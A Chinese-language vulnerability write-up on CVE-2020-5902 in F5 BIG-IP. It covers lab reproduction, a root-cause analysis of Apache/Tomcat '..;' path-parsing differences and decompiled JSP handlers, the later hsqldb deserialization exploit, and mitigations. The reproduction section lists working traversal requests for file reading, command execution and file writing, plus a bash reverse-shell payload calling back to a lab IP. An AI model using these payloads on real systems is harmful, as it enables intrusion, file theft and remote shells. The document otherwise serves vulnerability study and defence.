近期关于CVE-2020-5902:F5 BIG-IP的EXP&POC满天飞，本篇文章则对该漏洞进行一个简单的剖析~
## 影响范围
* BIG-IP = 15.1.0
* BIG-IP = 15.0.0
* BIG-IP 14.1.0 - 14.1.2
* BIG-IP 13.1.0 - 13.1.3
* BIG-IP 12.1.0 - 12.1.5
* BIG-IP 11.6.1 - 11.6.5
## 漏洞类型
* RCE
* ReadFile
* ListDirectory
* Arbitrary File Upload
## 利用条件
* 上述影响范围所列的F5 BIG-IP版本
* 第一种EXP：在RCE以及反弹shell时需要近期有用户登录或者用户会话未过期
* 第二种EXP: F5 BIG-IP未关闭Hysqldb(密码默认为空，而且在lib下的jar包中，不存在更改问题)
## 漏洞概述
F5 BIG-IP 是美国 F5 公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2020年7月初，有安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面
(TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞，并给出测试POC，攻击者通过向漏洞页面发送特制的请求包，可以造成任意 Java
代码执行，进而控制F5 BIG-IP 的全部功能，包括但不限于:
执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等，该漏洞影响控制面板，不影响数据面板。
## 漏洞复现
### 环境搭建
#### 虚拟机下载
首先去F5官网注册一个账号([email protected]/12345Qwert)，并登陆：
之后进入下载页面，在这里我们下载v15.x系列的漏洞版本与修复版本进行分析测试，下载页面：<https://downloads.f5.com/esd/productlines.jsp>
下载存在漏洞的BIG-IP的ova文件：
之后下载修复版本的BIG-IP的ova文件到本地
#### 虚拟机搭建
将两个ova文件导入VMware Workstations中：
启动之后会要求输入账号密码，BIG默认账号密码为root/default:
成功登陆之后会要求我们重置密码，这个密码为Web页面的登陆密码(该密码要有一定的复杂度，这里使用kvqasdt!q1与kvqasdt!q2)需要记住：
然后在命令行下输入"config"打开打开Configuration Utility工具来查看当前BIG-IP的IP地址信息：
一会儿之后你会看到如下界面信息：
之后点击"OK"，然后选择IPV4 IP地址：
之后你会看到当前BIG-IP主机的IP地址信息(BIGIP-15.1.0.0)：
BIGIP-15.1.0.4的IP地址：
之后在浏览器中使用<https://ip地址进行访问：>
之后使用"admin/之前重置的密码"进行登录认证：
之后还需要再重置一次登录密码，这里重置为hkn!2gQWsgk，另外一个重置为hkn!2gQWsgk1
至此，我们已经拥有一个账号为admin/hkn!2gQWsgk的漏洞靶机，和一个账号为admin/hkn!2gQWsgk1的安全主机，下面我们进行简易测试~
## 漏洞利用
### 文件读取
POC:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
执行结果：
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/profile_base.conf
其它路径可以参考：<https://github.com/Al1ex/CVE-2020-5902/blob/master/common_path.txt>
### 列目录项
POC:
/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
### 命令执行
方式一：指令别名方式
Step 1:创建执行命令的模式，将list设置为bash的别名
tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
Step2:向创建的文件中写入要执行的命令
fileSave.jsp?fileName=/tmp/cmd&content=id
Step3:利用前面设置的list来执行文件中的命令
在无用户登录的情况下：
近期有用户登录的情况下：
Step4:最后清空list
方式二：tmsh命令语法
除了使用上面这种通过alias将bash设置别名来实现命令执行的效果外，我们还可以使用BIG-IP的一些内置的命令，例如：
* list auth user——查看所有用户
* list auth user admin ——仅仅查看admin用户
有人可能会好奇，为什么方式一中要将bash的别名设置为list，而这里也是tmsh内置的list指令呢？这是因为在WorkspaceUtils.java文件中对operation操作类型有检测，只允许create\delete\list\modify四种类型，这在漏洞分析部分有详细描述~
关于通过tmsh的list命令查看用户信息的描述可参考：<https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions>
###反弹shell
在反弹shell时我们可以通过上述的RCE来实现，其中第二种方式可能并不适用，在这里我们要通过alias将bash设置别名为list之后实现反弹shell的操作，具体的操作流程如下：
Step 1：首先，创建执行命令的模式，将list设置为bash
tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
Step 2：创建包含反弹shell的命令并以文本文件形式保存（这里介绍bash方式的反弹shell的方式，其余的类似于perl、ruby等不再赘述）
fileSave.jsp?fileName=/tmp/1.txt&content=bash+-i+>%26/dev/tcp/192.168.174.131/4444+0>%261
成功写入到/tmp/1.txt
Step 3:反弹shell回来
其余的例如nc，python都可以正常反弹shell，有兴趣的可自我尝试,下面是构造方式：
nc
Python:
###文件上传
/tmui/locallb/workspace/fileSave.jsp
POST:
fileName=/tmp/1.txt&content=CVE-2020-5902
之后通过文件读取来验证：
可以看到成功上传文件/tmp/1.txt~
## 漏洞分析
造成该漏洞的原因主要是Tomcat对于含有特殊符号的URL解析特性导致的权限校验绕过，之后通过未授权访问相关路由信息导致的文件读取、文件写入以及tmsh命令执行等，下面我们从三个方面来看：中间件的URL解析差异性、请求处理追溯、后端代码逻辑
### 解析差异简介
在WEB架构服务中，我们经常会碰到Tomcat与Nginx，Apache这三个服务，我们在这里首先做一个区别：
* Apache：HTTP服务器是一个模块化的服务器，可以运行在几乎所有广泛使用的计算机平台上，其属于应用服务器。Apache本身是静态解析，适合静态HTML、图片等，但可以通过扩展脚本、模块等支持动态页面等，(Apche可以支持PHP，cgi(外部应用程序与Web服务器之间的接口)、perl，但是要使用Java的话，你需要Tomcat在Apache后台支撑，将Java请求由Apache转发给Tomcat处理。
* Tomcat：Tomcat是应用(Java)服务器，它只是一个Servlet(JSP也翻译成Servlet)容器，可以认为是Apache的扩展，但是可以独立于Apache运行。
* Nginx：Nginx是一个高性能的HTTP和反向代理服务器，同时也是一个IMAP/POP3/SMTP
F5 BIG-IP采用的为Apache+Tomcat组合来处理JAVA应用，下面我们进入正式的话题！在这里我们以Orange在2018年的BlackHat的演讲文档中的一个类似的实例做介绍说明，在正常情况下我们访问login.getbynder.com时会要求我们先进行一次登录认证：
此时的服务器端的响应结果类似下图所示：
之后，我们通过在域名后直接添加"..;/x"并进行访问得到如下结果：
在fuzz过程中用到一下测试示例：
那么为什么会出现这种问题呢？是因为当Nginx以及Apache碰到"/..;/"时，他们会认为"/..;/"是一个目录，而Tomcat则很是无耐的表示"/..;/"应该是一个父级目录，需要向上递归一次：
Nginx VS Tomcat:
Apache VS Tomcat：
在这里我们可以利用以上解析特性来绕过权限检测访问需要登录后才可以访问页面：
其他的中间件解析差异对比效果如下
请求URL:<https://www.example.com/foo;name=orange/bar/>
解析对比：
回到我们的漏洞中，这里我们可以理解在F5 BIG-IP的后台服务器对收到了URL请求进行了两次的解析，第一次是httpd(Apache),
第二次是后一层的Java(tomcat)，当我们发起请求：<https://server/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash时，此时在URL在第一次被Apache解析时，Apache关注的是URL的前半段：>
<https://server/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash>
当Apache在看见前半段是合法URL且是允许被访问的页面时，就把它交给了后面的第二层，Apache在这里完全把URL里面关键的/..;/
给无视了，此时做权限校验的只是前面的login.jsp而已~
在URL在第二次被解析时，后面的Java(tomcat)会把"/..;/"理解为向上返回一层路径，此时,，/login.jsp/ 和 /..;/
会抵消掉，Tomcat看到的真正请求从
<https://server/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash>
变成了：
<https://server/tmui/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash>
之后去根据web.xml中的路由调用对应的类进行请求处理，关于解析差异性的更多细节与利用技巧可参考如下链接(值的细品)：
<https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf>
### 请求处理追溯
首先我们从Web的配置文件/WEB-INF/web.xml看起，在这里我可以看到配置的Servlet的load-on-startup属性，该属性的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法)，在这个属性中的可选内容必须为一个整数，表明了这个servlet被加载的先后顺序，当是一个负数时或者没有指定时，则表示服务器在该servlet被调用时才加载。当值为0或者大于0时，表示服务器在启动时就加载这个servlet，容器可以保证被标记为更小的整数的servlet比被标记为更大的整数的servlet更先被调用，还可以选择同样的load-on-start-up值来夹在servlets。
在这里我们留意到首先是加载com.f5.controller.Log4jInit类，该类的主要作用是配置log日志的记录，我们继续向下看：
之后我们发现了com.f5.controller.ControlServlet类同样配置了load-on-start-up属性，并指定了init()方法的参数信息：
之后，我们使用jd-gui分析依赖/WEB-INF/lib/tmui.jar，根据目录项依次找到
com.f5.controller.ControlServlet的init方法：
可以看到此处的init()方法首先是初始化了一些配置项，并根据配置项参数做相应的配置操作，在最后我们可以看到又调用了F5Controller类的init方法，并以之前的初始化值作为参数传递，我们继续跟进该Servlet类：
从上图中可以看到，这里只是做了一些简单的初赋值操作，我们返回原先的ControlServlet类，之后可以看到调用了F5WeebController类的initMapping方法：
之后跟进该类的intitleMapping方法，可以看到此处有转而调用了Mapping方法：
之后继续跟进，可以看到在该方法中分别读取了/WEB-INF/xml/requestmappings.xml、/WEB-INF/xml/responsemappings.xml：
/WEB-INF/xml/requestmappings.xml————请求地址handler映射(对应处理类方法)：
/WEB-INF/xml/responsemappings.xml————响应地址handler映射(对应jsp文件)：
之后继续返回com.f5.controller.ControlServlet，可以看到该类重新doGet方法与doPost方法，所以的请求都会经由这两种方法进行处理：
而doPOST中直接转发请求到了doGet内：
所以我们这里直接对doGet做一个简单的分析即可：
在这里可以看到首先是判断请求的处理是否能够提供分配数据库的连接，如果连接方式是1则连接mysql，如果连接方式是0则连接hsqldb。
之后我们继续向下分析，此时会实例化一个F5WebController类对象，并且将request等参数传递进去，之后跟进去发现除实例化操作外别无其他：
返回源文件继续分析，之后会调用request.getRemoteUser()方法获取请求数据中的用户名信息，之后根据用户名信息是否为空做逻辑判断，当用户名为空会通过F5Properties.getAPPlicationString方法来为用户名赋值(应用名称)，如果添加一个请求属性"com.f5.corba.username"并为其赋值"username"，之后创建一个空的User对象实例，之后通过一个while循环来打印输出请求头信息，之后创建一个User示例并赋值给之前的空User示例user，然后判断用户的RoleId是否大于900，如果大于900则打印错误日志到控制台并直接返回(默认返回900)：
同时会调用WebUtils.setPartitio进行一些赋值操作，具体如下：
在最后会去调用controller.processWebRequest()方法并将指向结果赋值给requestForwarded，当返回的requestForwarded的值为true时会继续调用fail函数来输出错误信息，并清空buffer：
之后跟进processWebRequest方法：
在函数开头处的61行调用Mappings.getRequestByURL(this.request.getPathInfo())
方法来获取当前路由的requestMapping配置，我们跟进去会发现该方法会根据request.getPathInfo()
的Servlet路径返回相对应的Handler类名：
之后我们继续下面的逻辑分析，可以看到之后初始化了currentUserLeve为900，并通过User.getUser()来获取用户信息，如果用户信息不为空则进入if语句中继续调用示例化后的user的getRoleID来重置currentUserlevel，之后再调用requestHandler.getAllowedLevels来设置allowedLevels，之后依据allowedLevels的值并通过if判断来判别当前用户是否有访问目标URL的权限，此处因为路由访问权限校验：
User.haveAccessToAtLeastOneTargetLevel()
方法代码如下，可以看到此时会初始化一个Boolean变量的userHasAccess变量，并赋值为false，之后通过循环来比较当前用户的Role与要访问的目标URL所具备的Level(类似于权限)是否有匹配项，如果匹配则重置userHasAccess为true并返回，如果没有匹配项则返回初始化后userHasAccess的默认值，即False:
完整的用户角色对照表如下所示：
之后当有访问权限时则调根据/WEB-INF/web.xml 的路由调用对应的类进程处理：
在这里也许会有人问，此时的请求流程中不是使用了权限校验吗？而且使用的是getPathinfo()这种较为安全的方法来获取(其他的请求方法的安全性问题可以参考：<https://xz.aliyun.com/t/7544，同时经过上面的分析也可以发现及时后端代码中使用较为安全的请求处理当服务器端配置不当依旧可能造成安全问题)，为什么会有问题呢？我们下面捋一下：>
恶意请求：<https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd>
Apache解析：<https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd(重点关注前面一部分，且允许被访问，转至Tomcat>)
Tomcat解析：<https://server/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd(见到/..;/后向上层回溯一次，改变原先URL>)
request.getPathInfo()：/tmui/login.jsp(获取原请求的中传递到Servlet的请求，在进行权限校验时对此路径的访问进行校验，login.jsp任意用户都可访问)
上面的流程已经很清晰了，这里不再赘述，下面我们来看后端的代码是如何实现的，准确定位到相关的文件与请求处理函数~
### 后端代码处理处理
#### 文件读取
漏洞文件：tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\fileRead_jsp.class
文件分析：在漏洞文件fileRead_jsp.java程序中，我们可以看到对于一次文件读取请求首先会获取filename，之后根据传入的文件名称调用WorkspaceUtils.readFile()函数来读取文件，之后输出读取的结果
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
HttpSession session = null;
JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
_jspx_page_context = pageContext;
ServletContext application = pageContext.getServletContext();
ServletConfig config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
out.write("\n\n\n\n");
String fileName = WebUtils.getProperty(request, "fileName");
try {
JSONObject resultObject = WorkspaceUtils.readFile(fileName);
out.print(resultObject.toString());
} catch (IOException var19) {
throw var19;
}
} catch (Throwable var20) {
if (!(var20 instanceof SkipPageException)) {
out = (JspWriter)_jspx_out;
if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (IOException var18) {
}
}
if (_jspx_page_context == null) {
throw new ServletException(var20);
}
_jspx_page_context.handlePageException(var20);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
之后我们可以从导入包中看到WorkspaceUtils来自：com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
所以我们依旧使用JD-GUI来查找，之后找到WorkspaceUtils.readFile()代码如下所示，非常简单，直接读取文件内容并返回，在整个流程中未对读取的fileName的path路径做校验与限制(例如：使用白名单+start.with()来限制目录等方法)，同时为对当前用户进行二次鉴权操作，鉴权只停留在请求处理中，在Servlet处理过程中未做权限检查(这一点在开发中应该值得深思，做权限校验可以加强权限机制，同时在一定程度上规避由于中间件配置不当或解析特性造成的安全问题)
所以，整个文件读取中，我们无需再次进行权限校验，filename可以任意指定，由于权限校验在之前的请求处理流程中已经被绕过，也就是说我们只要访问到该文件并向其发送一个请求即可实现任意文件读取了，So
Easy~
#### 列目录项
这个漏洞准确的来说应该是"列目录"，只是为了对其规范一下，所以加了一个字，看的顺眼一些，算是"强迫症"吧~
漏洞文件：tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\directoryList_jsp.class
文件分析：directoryList_jsp的核心代码如下所示：
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
HttpSession session = null;
JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
_jspx_page_context = pageContext;
ServletContext application = pageContext.getServletContext();
ServletConfig config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
out.write("\n\n\n\n");
String directoryPath = WebUtils.getProperty(request, "directoryPath");
try {
JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
out.print(resultObject);
} catch (IOException var19) {
throw var19;
}
} catch (Throwable var20) {
if (!(var20 instanceof SkipPageException)) {
out = (JspWriter)_jspx_out;
if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (IOException var18) {
}
}
if (_jspx_page_context == null) {
throw new ServletException(var20);
}
_jspx_page_context.handlePageException(var20);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
在这里依旧未做二次权限校验，直接获取directoryPath的值，之后将其作为参数传递给WorkspaceUtils.listDirectory进行逻辑处理，并将结果打印显示，我们继续跟进到WorkspaceUtils.listDirectory函数看看：
可以看到，此处会调用listDirectoryRecursive并以directory以及children作为参数传递，我们跟进去看看，此处通过一个递归来读取显示所有的文件名称，具体逻辑如下所示，点很简单，不再赘述：
#### 命令执行
文件路径：tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\tmshCmd_jsp.class
文件内容：tmshCmd_jsp核心操作代码如下所示
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
HttpSession session = null;
JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
_jspx_page_context = pageContext;
ServletContext application = pageContext.getServletContext();
ServletConfig config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
out.write("\n\n\n\n\n\n");
F5Logger logger = (F5Logger)F5Logger.getLogger(this.getClass());
String tmshResult = "";
String cmd = WebUtils.getProperty(request, "command");
if (cmd != null && cmd.length() != 0) {
JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
tmshResult = resultObject.toString();
} else {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
}
out.write(10);
out.write(10);
out.print(tmshResult);
out.write(10);
} catch (Throwable var20) {
if (!(var20 instanceof SkipPageException)) {
out = (JspWriter)_jspx_out;
if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (IOException var19) {
}
}
if (_jspx_page_context == null) {
throw new ServletException(var20);
}
_jspx_page_context.handlePageException(var20);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
从上述代码中我们可以看到此处依旧未做二次校验认证，从请求中获取参数command之后赋值给cmd，之后再将cmd作为参数传递给WorkspaceUtils.runTmshCommand：
下面我们继续跟踪一下WorkspaceUtils.runTmshCommand的处理流程，我们可以看到此处对command的合法性进行了校验，同时对操作类型进行了匹配看是否是create、delete、list、modify，这设计到tmsh命令集，有兴趣了解的可以百度一下，你想要的有很多，同时这里也说明了我们当初在漏洞利用阶段为什么要将bash设置别名为list，而不是直接使用bash来执行命令，回忆一下看看！！！之后我们可以看到我们的command直接通过该调用Syscall.CallExec去执行命令，此时参数为Syscall.callEvelated
下面我们继续跟踪到callElevated中看看：
在这里调用当前类的call方法，注意此时传入的第三个参数哦，之后继续跟踪进入call，从下图可以看到，此时首先对要执行的命令的合法性做一个检查()，之后对命令进行匹配以及权限校验，此时的elevated为刚才传进去的"true"，之后创建DataObject对象实例，并通过通过om.queryStats(query)来执行并返回最后的结果，之后返回：
关于tmsh的更多命令请自行百度~
#### 文件上传
文件路径：tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\fileSave_jsp.class
文件分析：文件核心代码如下所示
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
HttpSession session = null;
JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
_jspx_page_context = pageContext;
ServletContext application = pageContext.getServletContext();
ServletConfig config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
out.write(10);
out.write(10);
out.write(10);
String fileName = WebUtils.getProperty(request, "fileName");
String content = WebUtils.getProperty(request, "content");
try {
WorkspaceUtils.saveFile(fileName, content);
} catch (IOException var20) {
throw var20;
}
out.write(10);
} catch (Throwable var21) {
if (!(var21 instanceof SkipPageException)) {
out = (JspWriter)_jspx_out;
if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (IOException var19) {
}
}
if (_jspx_page_context == null) {
throw new ServletException(var21);
}
_jspx_page_context.handlePageException(var21);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
从上述代码中可以看到，此处依旧未做二次校验，直接获取filename以及content并将其作为参数传递给WorkspaceUtils.saveFile()函数，下面我们跟进该函数进行分析：
saveFile函数代码如下所示，从这里可以直接根据提供的文件名创建文件并写入内容，之后赋予权限与改变文件拥有者完成写文件操作(其实准确来说应该是创建文件，而不是上传文件，不过由于文件名以及文件路径和文件内容可控，可以说是一个间接性的文件上传)：
## 关于EXP的思考
在这里我们要提到一个EXP：<https://github.com/jas502n/CVE-2020-5902>
首先，说一下曲折的道路：在该EXP的项目中，我们注意到了几个类似于上面文件分析的代码文件，刚开始笔者以为这应该是存在漏洞的文件，结果跟踪了一下发现存在矛盾，感觉此处的设置应该不会导致安全问题，权限校验以及逻辑非常清晰，可以说很nice~，之后无奈的去微信公众号中找了一些相关的文章发现很多都是关于漏洞复现的，很是无语，于是再找....,过了一段时间(大概半天)，找到了一篇文件，结果发现该国内知名安全公司的分析进竟然也是拿着这个文件进行了一波分析，而且跳过了关键的一些操作，例如isFileWhitelisted等，笔者觉得很是不对，于是剩下的就是想方法获取源码了，之后搭建靶机，发现开启SSH端口，且密码为初始设置的密码，所以不再为内部"内部"只读的事情烦恼，直接SSH连接上去，之后下载下来，导入IDEA分析~
之所以说上面的这些是因为，如果有人去分析的话不要再去拿这个代码去分析了，同时也表明该代码在逻辑设计上的安全设计值的思考与学习，可以说是JAVA开发人员的一个很好的借鉴点，这里以文件读取为例对其安全机制做说明：
核心点如下所示：
public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
HttpSession session = null;
JspWriter out = null;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html");
PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
_jspx_page_context = pageContext;
ServletContext application = pageContext.getServletContext();
ServletConfig config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
out.write("\n\n\n\n\n\n\n\n\n\n\n");
String fileName = WebUtils.getProperty(request, "fileName");
String username = request.getRemoteUser();
Enumeration headerNames = request.getHeaderNames();
Map headers = new HashMap();
if (username == null) {
username = F5Properties.getApplicationString("auth.override_user");
}
while(headerNames.hasMoreElements()) {
String headerName = (String)headerNames.nextElement();
headers.put(headerName, request.getHeader(headerName));
}
User user = new User(username, headers);
UsernameHolder.setUser(user);
try {
if (!WorkspaceUtils.isFileWhitelisted(fileName)) {
throw new IllegalAccessException("Forbidden to access file " + fileName);
}
if (!WorkspaceUtils.userCanAccessPartition(user, fileName, false)) {
throw new IllegalAccessException("Forbidden to access file " + fileName);
}
JSONObject resultObject = WorkspaceUtils.readFile(fileName);
out.print(resultObject.toString());
} catch (IOException var24) {
throw var24;
} catch (IllegalAccessException var25) {
throw var25;
}
} catch (Throwable var26) {
if (!(var26 instanceof SkipPageException)) {
out = (JspWriter)_jspx_out;
if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
try {
if (response.isCommitted()) {
out.flush();
} else {
out.clearBuffer();
}
} catch (IOException var23) {
}
}
if (_jspx_page_context == null) {
throw new ServletException(var26);
}
_jspx_page_context.handlePageException(var26);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
在上述代码中在直接使用readFie之前会对filename进行一次校验：
之后跟进该函数中，可以看到会使用getCanonicalPath()来获取当前文件名的路径信息，同时该函数会过滤掉路径中类似于".."的特殊符号，这是其一，另外在这里会创建一个whilelistDirSet的迭代器并结合while循环来依次判断当前的filename是否在白名单中，当然此时的比较对象为realDirPath即父级目录的绝对路径信息：
在这里我看一下whilelistDirSet，可以看到添加的白名单有"/var/ilx/workspaces/",
"/var/sdm/plugin_store/plugins/"
之后还有一个有意思的地方是还会对当前操作的用户进行一次全新校验检测，函数WorkspaceUtils.userCanAccessPartition如下所示，自己分析即可：
在这之后我们才可以进行文件读取，假设我们的主机上存在之前所说的漏洞，那么我们后端的代码改成这样可以有效防御吗？答案是：一定程度上可以，至少在这里是可以的，因为整个文件系统体系结构庞大也说不是上还有其他的地方存在相关的漏洞，这也不好说~
还有一个就是再进行命令执行时，有一次CSRF Token校验，这也值得学习与借鉴：
在该EXP中的java文件可以说是一种很好的修复策略，涉及到了以下几点：
1、二次权限校验
2、白名单策略限制文件读取的路径
3、采用CSRF Token机制
4、命令合法性检测机制
当然，该漏洞要想规避的最佳策略还是需要结合服务器端的配置以及后端代码的来进行修复~
## NewPOC
2020年7月7日，TEAM
ARES安全研究团队披露出一则新的POC，该POC使用JAVA反序列化配合CVE-2020-5902漏洞来执行命令，涉及的类正是org.hsqldb.util.scriptool.main，整个思路较为新颖，而且前一种EXP的利用需要近期有用户进行登录操作才可以实现RCE以及反弹shell，如果没有用户登录则只能读取一些服务器端可读文件以及可读目录下的文件内容，而该EXP一方面可以躲避WAF的检测与拦截(就目前而言)，另一方面由于F5
BIG-IP默认在初始化状态下会运行Hysql，导致攻击者可以通过远程访问并利用org.hsqldb.util.scriptool.main自身的反序列化Gadget来实现RCE，该EXP利用范围显得更加广泛，整个故事如下：
TEAM ARES首先对官方给出的补丁进行了分析：
官方给出的缓解措施中通过修改配置项来规避路径穿越造成的文件读取以及命令执行：
<https://support.f5.com/csp/article/K52145254>
之后通过比较漏洞版本15.1.0
和修改版本15.1.0.4.发现有很多不同点，首先是配置项发生了变化，该配置项使得当攻击者企图通过..;/来达访问未授权的页面时都会被重定向到404页面：
还有一个特殊的点就是Apache configuration中的/hsqldb被移除了：
在正常情形下我们直接请求hsqldb是会被重定向到登陆认证页面：
但是，发现在请求URL后面追加分号";"后即可绕过认证，正常访问hsqldb：
那么通过/hsqldb我们又可以做点什么呢？之后了解到hypersql是java应用程序使用的嵌入式关系数据库，其某些方法可能存在被滥用的风险。
刚开始，我们尝试使用用户定义函数(UDF)，然而我们发现该特性在1.8版中不可用，不过幸运的是我们发现我们可以调用本机java函数以及服务器可用的任何方法，主要限制是它必须是静态方法，之后在hsqldb源代码中寻找静态方法，我们发现org.hsqldb.util.scriptool.main()方法反序列化了一个表示为ascii十六进制字符串的java对象，这看起来非常有利用价值，所以我们尝试使用sqltool来手动调用它，并遇到了“序列化失败”错误：
从上面的错误消息中我们可以看到只需要将enableunsafeserialization属性设置为true，即可成功执行payload，此时，我们证明了经过身份验证的远程代码执行是可能的，之后试图使用/hsqldb;来绕过原先的身份认证并实现RCE，结果post请求导致了连接错误，所以我们再次查看了缓解措施中的建议——regex”.
_..;._ "并注意到原Bypass是"..;”,然后，我们改变了Exploit，使其直接访问hqsldb：
完整的EXP:<https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902(需要使用JDK> 11\hsqldb.jar 1.6\ysoserial)
在该EXP中hsqldb主要用于提供org.hsqldb库文件，f5RCE.java用于调用org.hsqldb.util.ScriptTool.main()来反序列化payload(在此之前会通过jdbc来远程访问目标主机的hsqldb)，这里更加通俗的说可以是远程连接hsqldb之后得到一个交互端并通过org.hsqldb.util.ScriptTool.main()来反序列化我们的攻击者载荷从而达到RCE：
CVE-2020-5902.sh通过openssl来提取证书，并通过keytool来将证书或证书链加到可信任证书的清单中(主要是解决443证书信任问题)，之后通过ysoserial利用CC6来生成nc.class，之后生成十六进制的payload.hex，并通过javac命令编译f5RCE.java(此时的资源类来自hsqldb.jar)，最后执行f5RCE并向远程目标主机发送攻击载荷：
目前已经有检测到该POC相关攻击流量，具体如下图所示：
同时检测到使用上述方法获取到的shell为root权限，攻击者可在反弹的shell中创建root权限的系统帐户：
补充说明：关于这个漏洞，笔者从原靶机下载hsqldb.jar包并导入JD-GUI进行分析时，首先定位到关键的函数org.hsqldb.ScriptTool.class的main函数中，并跟踪了整个流程，发现并未出现反序列化的操作，之后全局搜索关键词deserialize发现在getObject处被调用，之后反向追溯getObject函数的调用点，发现Function.class与Column.class两处，之后在Column中对函数convertObject进行溯源，发现在jdbcPreparedStatement.class处被调用，之后再次溯源函数setParameter发现setAsciiStream处被调用，这是较为符合TEAM
ARES在描述中所说“反序列化了一个表示为ascii十六进制字符串的java对象”，但是在ScriptTool中执行过程中并未调用，除非是参数处理时先对参数的输入流进行解析规范化；另外对Function.class中的函数getArguments进行跟踪溯源到getValue()，这里依旧未在org.hsqldb.ScriptTool.class的main函数执行过程中找到，关于这两点笔者并不确定，所以也不在进行深入了，相关截图也不放进来了，整个文章的篇幅已经过长了，有兴趣的可以研究一下，关于原代码中的核心代码以及原EXP、New
EXP还有jar包都放在了GitHub上：<https://github.com/Al1ex/CVE-2020-5902>
## 防御措施
### 缓解措施
1、登陆 TMOS Shell（tmsh）执行
tmsh
2、修改 httpd 配置信息
edit /sys httpd all-properties
3、文件内容如下
include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'
4、按照以下操作保存文件
按下 ESC 并依次输入
:wq
5、执行命令刷新配置文件
save /sys config
6、重启httpd服务
restart sys service httpd
7、禁用IP对TMUI界面的访问
### 应用升级
BIG-IP 15.x: 15.1.0.4
BIG-IP 14.x: 14.1.2.6
BIG-IP 13.x: 13.1.3.4
BIG-IP 12.x: 12.1.5.2
BIG-IP 11.x: 11.6.5.2
PS：建议还是能升级的尽量升级，缓解措施则使用以上最新的缓解措施，并随时关注官方的更新
## 文末总结
